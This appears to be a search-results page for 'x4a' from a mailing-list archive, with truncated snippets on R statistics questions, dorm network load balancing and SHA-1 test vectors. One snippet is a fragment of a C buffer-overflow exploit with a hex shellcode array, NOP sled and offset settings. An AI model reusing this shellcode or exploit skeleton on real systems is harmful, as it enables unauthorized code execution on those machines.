search for: x4a

Dear R-ers, I am currently running some Wilcoxon tests in R-64. How do I find the degrees of freedom in the output I am receiving? > wilcox.test(good$TRUE, good$x4a, paired=FALSE) Wilcoxon rank sum test with continuity correction data: good$TRUE and good$x4a W = 2455, p-value < 2.2e-16 alternative hypothesis: true location shift is not equal to 0 Thank you, Stephen. University of St Andrews, sm2284 at st-andrews.ac.uk -- View this message in...

Has anyone programmed condition indexes in R? I know that there is a function for variance inflation factors available in the car package; however, Belsley (1991) Conditioning Diagnostics (Wiley) notes that there are several weaknesses of VIFs: e.g. 1) High VIFs are sufficient but not necessary conditions for collinearity 2) VIFs don't diagnose the number of collinearities and 3) No one has

...8^7 = 2,097,152 x1 <- rep(8,7) x1 hcube87 <- hcube(x1, scale=1, transl=0) #this will generate 2,097,152 results from 1-8 but for only 7 positions #step 2: column bind each file with 1-8 in the 8th position #x1a <- cbind(hcube87,1) #x2a <- cbind(hcube87,2) #x3a <- cbind(hcube87,3) #x4a <- cbind(hcube87,4) #x5a <- cbind(hcube87,5) #x6a <- cbind(hcube87,6) #x7a <- cbind(hcube87,7) #x8a <- cbind(hcube87,8) #turns out this method also chokes with the memory limitations # Step 2 will be modified as follows: # Step 2a: as before; Step2b: Sample 1/8 from each piece and...

...mydata", the value of the questions mydata <- data.frame(X$X12a,X$X12b,X$X12c,X$X12d,X$X12e,X$X12f,X$X12g,X$X12h,X$X12i,X$X12l,X$X12m,X$X12n,X$X12o,X$X12p,X$X12q,X$X12r,X$X12s,X$X1a,X$X1b,X$X1c,X$X1d,X$X1e,X$X1f,X$X3h,X$X3i,X$X3l,X$X3m,X$X3n,X$X3o,X$X3p,X$X3q,X$X3r,X$X3s,X$X3t,X$X3u,X$X3v,X$X4a,X$X5q,X$X5r,X$X5s,X$X8a,X$X8b,X$X8c,X$X8d) #i calculate the covariance of the data mydata.cov <- cov(mydata,use="complete.obs") #I specify my model model.mydata <- specify.model() F1 -> X.X12a, lam1, NA F1 -> X.X12b, lam2, NA F1 -> X.X12c, lam3, NA F1 -> X.X12d, la...

...hol Preferring Alcohol Non-Preferring Line Pair X or Non-X Line 1a Line 1b 1 Non-X Line 2a Line 2b 2 Non-X Line 3a Line 3b 3 Non-X Line X4a Line X4b X4 X Line X5a Line X5b X5 X If all the line pairs were independently derived, a model could be geneExpression ~ Line.Pair + AlcoholPreference with the factor of interest being Alcohol Preference b...

Hello there, I''m having lots of problems with my setup here. Let me explain: I am network administrator for my university dorm. We are about 300 users, and we have 2 ADSL connections doing load balancing with 300kbits upstream and 2Mbit downstream. The load balancing is working great, we are doing connection tracking so I can mark and hence prioritize interactive traffic and ACKS

Hi All, I'm using the subset function to select a list of variables, some of which are contiguous in the data frame, and others of which are not. It works fine when I use the form: subset(mydata,select=c(x1,x3:x5,x7) ) In reality, my list is far more complex. So I would like to store it in a variable to substitute in for c(x1,x3:x5,x7) but cannot get it to work. That use of the c function

...uffer >1100) and a offset ( 1500<off >2500) mail me at admsmb@hotmail.com if u wanna some help */ #define DEFAULT_OFFSET 3500 #define DEFAULT_BUFFER_SIZE 3081 #define NOP 0x90 #include <stdlib.h> #include <strings.h> unsigned char shellcode[500] = "\xeb\x2f\x5f\xeb\x4a\x5e\x89\xfb\x89\x3e\x89\xf2\xb0\xfe\xae\x74" "\x14\x46\x46\x46\x46\x4f\x31\xc9\x49\xb0\xff\xf2\xae\x30\xc0\x4f" "\xaa\x89\x3e\xeb\xe7\x31\xc0\x89\x06\x89\xd1\x31\xd2\xb0\x0b\xcd" "\x80\xe8\xcc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,...

...xD8\x9D" -+ (uint8_t*)"abc", 1, -+ (uint8_t*)"\xA9\x99\x3E\x36\x47\x06\x81\x6A\xBA\x3E\x25\x71\x78\x50\xC2\x6C\x9C\xD0\xD8\x9D" - }, { -- "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", 1, -- "\x84\x98\x3E\x44\x1C\x3B\xD2\x6E\xBA\xAE\x4A\xA1\xF9\x51\x29\xE5\xE5\x46\x70\xF1" -+ (uint8_t*)"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", 1, -+ (uint8_t*)"\x84\x98\x3E\x44\x1C\x3B\xD2\x6E\xBA\xAE\x4A\xA1\xF9\x51\x29\xE5\xE5\x46\x70\xF1" - }, { -- "a", 1000000, -- "\x34\xAA...

...mydata", the value of the questions mydata <- data.frame(X$X12a,X$X12b,X$X12c,X$X12d,X$X12e,X$X12f,X$X12g,X$X12h,X$X12i,X$X12l,X$X12m,X$X12n,X$X12o,X$X12p,X$X12q,X$X12r,X$X12s,X$X1a,X$X1b,X$X1c,X$X1d,X$X1e,X$X1f,X$X3h,X$X3i,X$X3l,X$X3m,X$X3n,X$X3o,X$X3p,X$X3q,X$X3r,X$X3s,X$X3t,X$X3u,X$X3v,X$X4a,X$X5q,X$X5r,X$X5s,X$X8a,X$X8b,X$X8c,X$X8d) #i calculate the covariance of the data mydata.cov <- cov(mydata,use="complete.obs") #I specify my model model.mydata <- specify.model() F1 ->  X.X12a, lam1, NA F1 ->  X.X12b, lam2, NA F1 ->  X.X12c, lam3, NA F1 ->  X.X12d, la...